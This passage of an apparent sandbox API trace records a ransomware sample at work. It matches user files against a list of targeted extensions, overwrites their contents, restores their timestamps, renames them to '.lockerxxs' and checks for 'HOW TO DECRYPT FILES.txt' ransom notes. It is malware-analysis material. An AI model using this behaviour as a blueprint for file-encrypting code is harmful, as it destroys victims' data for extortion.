HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.fdb") returned 0 [0090.975] lstrlenA (lpString="*.fdb") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.wab") returned 0 [0090.975] lstrlenA (lpString="*.wab") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.dat") returned 0 [0090.975] lstrlenA (lpString="*.dat") returned 5 [0090.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.txt") returned 0 [0090.976] lstrlenA (lpString="*.txt") returned 5 [0090.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.jpeg") returned 0 [0090.976] lstrlenA (lpString="*.jpeg") returned 6 [0090.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.jpg") returned 0 [0090.976] lstrlenA (lpString="*.jpg") returned 5 [0090.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.png") returned 1 [0090.976] lstrlenA (lpString="*.png") returned 5 [0090.976] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png" [0090.976] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png" [0090.976] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png." [0090.977] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png.lockerxxs" [0090.977] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\hluwwn9fvg6o6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0090.978] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10e8b [0090.978] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xd30ed150, dwHighDateTime=0x1d5e7dd), lpLastAccessTime=0x407536*(dwLowDateTime=0xb622d950, dwHighDateTime=0x1d5dc71), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb622d950, dwHighDateTime=0x1d5dc71)) returned 1 [0090.978] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.978] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10e65, lpOverlapped=0x0) returned 1 [0090.981] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png") returned="HLUwwN9fvG6o6.png" [0090.981] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.981] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10e65, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10e65, lpOverlapped=0x0) returned 1 [0090.982] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.982] CloseHandle (hObject=0x9c) returned 1 [0090.982] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\hluwwn9fvg6o6.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\hluwwn9fvg6o6.png.lockerxxs")) returned 1 [0090.984] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab66e160, ftCreationTime.dwHighDateTime=0x1d5e39b, ftLastAccessTime.dwLowDateTime=0xeae0b0b0, ftLastAccessTime.dwHighDateTime=0x1d5e6c4, ftLastWriteTime.dwLowDateTime=0xeae0b0b0, ftLastWriteTime.dwHighDateTime=0x1d5e6c4, nFileSizeHigh=0x0, nFileSizeLow=0xed5, dwReserved0=0x10000313, dwReserved1=0x4e00c4, cFileName="mx4r.png", cAlternateFileName="")) returned 1 [0090.984] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0090.984] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mx4r.png") returned -1 [0090.984] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mx4r.png") returned -1 [0090.984] lstrcmpiA (lpString1="", lpString2="mx4r.png") returned -1 [0090.984] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png") returned="HLUwwN9fvG6o6.png" [0090.984] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" [0090.984] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="" [0090.984] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" [0090.984] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\how to decrypt files.txt")) returned 0x20 [0090.985] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="mx4r.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png" [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.ems") returned 0 [0090.985] lstrlenA (lpString="*.ems") returned 5 [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.db") returned 0 [0090.985] lstrlenA (lpString="*.db") returned 4 [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.dbf") returned 0 [0090.985] lstrlenA (lpString="*.dbf") returned 5 [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.myox") returned 0 [0090.985] lstrlenA (lpString="*.myox") returned 6 [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.myo") returned 0 [0090.985] lstrlenA (lpString="*.myo") returned 5 [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.qbw") returned 0 [0090.985] lstrlenA (lpString="*.qbw") returned 5 [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.qbb") returned 0 [0090.985] lstrlenA (lpString="*.qbb") returned 5 [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.qbm") returned 0 [0090.985] lstrlenA (lpString="*.qbm") returned 5 [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.qbo") returned 0 [0090.985] lstrlenA (lpString="*.qbo") returned 5 [0090.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.qbx") returned 0 [0090.986] lstrlenA (lpString="*.qbx") returned 5 [0090.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.qba") returned 0 [0090.986] lstrlenA (lpString="*.qba") returned 5 [0090.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.qby") returned 0 [0090.986] lstrlenA (lpString="*.qby") returned 5 [0090.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.qbj") returned 0 [0090.986] lstrlenA (lpString="*.qbj") returned 5 [0090.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.ofx") returned 0 [0090.986] lstrlenA (lpString="*.ofx") returned 5 [0090.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.qif") returned 0 [0090.986] lstrlenA (lpString="*.qif") returned 5 [0090.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.mye") returned 0 [0090.986] lstrlenA (lpString="*.mye") returned 5 [0090.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.mbox") returned 0 [0090.986] lstrlenA (lpString="*.mbox") returned 6 [0090.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.eml") returned 0 [0090.986] lstrlenA (lpString="*.eml") returned 5 [0090.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.pst") returned 0 [0090.986] lstrlenA (lpString="*.pst") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.ost") returned 0 [0090.987] lstrlenA (lpString="*.ost") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.idx") returned 0 [0090.987] lstrlenA (lpString="*.idx") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.dbx") returned 0 [0090.987] lstrlenA (lpString="*.dbx") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.sql") returned 0 [0090.987] lstrlenA (lpString="*.sql") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.mdb") returned 0 [0090.987] lstrlenA (lpString="*.mdb") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.fdb") returned 0 [0090.987] lstrlenA (lpString="*.fdb") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.wab") returned 0 [0090.987] lstrlenA (lpString="*.wab") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.dat") returned 0 [0090.987] lstrlenA (lpString="*.dat") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.txt") returned 0 [0090.987] lstrlenA (lpString="*.txt") returned 5 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.jpeg") returned 0 [0090.987] lstrlenA (lpString="*.jpeg") returned 6 [0090.987] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.jpg") returned 0 [0090.988] lstrlenA (lpString="*.jpg") returned 5 [0090.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", pszSpec="*.png") returned 1 [0090.988] lstrlenA (lpString="*.png") returned 5 [0090.988] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png" [0090.988] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png" [0090.988] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png." [0090.988] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png.lockerxxs" [0090.988] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\mx4r.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0090.989] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xed5 [0090.989] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xab66e160, dwHighDateTime=0x1d5e39b), lpLastAccessTime=0x407536*(dwLowDateTime=0xeae0b0b0, dwHighDateTime=0x1d5e6c4), lpLastWriteTime=0x40753e*(dwLowDateTime=0xeae0b0b0, dwHighDateTime=0x1d5e6c4)) returned 1 [0090.989] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.989] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xeaf, lpOverlapped=0x0) returned 1 [0090.991] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\mx4r.png") returned="mx4r.png" [0090.991] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.991] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xeaf, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xeaf, lpOverlapped=0x0) returned 1 [0090.991] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.992] CloseHandle (hObject=0x9c) returned 1 [0090.992] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 